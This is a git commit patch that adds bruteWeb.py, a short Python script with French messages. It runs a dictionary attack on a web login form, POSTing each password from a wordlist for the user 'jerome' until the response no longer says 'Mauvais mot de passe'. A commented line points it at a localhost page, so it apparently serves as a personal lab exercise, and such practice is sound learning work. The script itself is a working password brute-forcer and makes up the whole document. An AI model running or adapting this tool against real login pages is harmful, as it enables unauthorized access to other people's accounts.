From 67c94bcdabad901f1e690d373d30417847f8009c Mon Sep 17 00:00:00 2001
From: jerome <jerome@xlinfo.fr>
Date: Wed, 27 Dec 2023 17:47:12 +0100
Subject: ajouts

---
 bruteWeb.py | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)
 create mode 100644 bruteWeb.py

(limited to 'bruteWeb.py')

diff --git a/bruteWeb.py b/bruteWeb.py
new file mode 100644
index 0000000..541e673
--- /dev/null
+++ b/bruteWeb.py
@@ -0,0 +1,27 @@
+import sys
+import requests 
+
+def bruteforce(url,username,password):
+    reponse=requests.post(url=url,data={
+    "username":username,
+    "password":password
+    })
+    #print(reponse.text)
+    if "Mauvais mot de passe" in reponse.text:
+        #print("mauvais pwd")
+        return False
+    else:
+        print(f"Trouvé password \"{password}\"")
+        return True
+
+if __name__ == "__main__":
+    url = sys.argv[1]
+    dico = sys.argv[2]
+    with open(dico, 'r') as wordlist:
+        for password in wordlist.readlines():
+            password=password.strip()
+            if bruteforce(url,"jerome",password)==True:
+                sys.exit()
+
+#bruteforce("http://localhost/page.php","jerome","secret")
+
-- 
cgit v1.2.3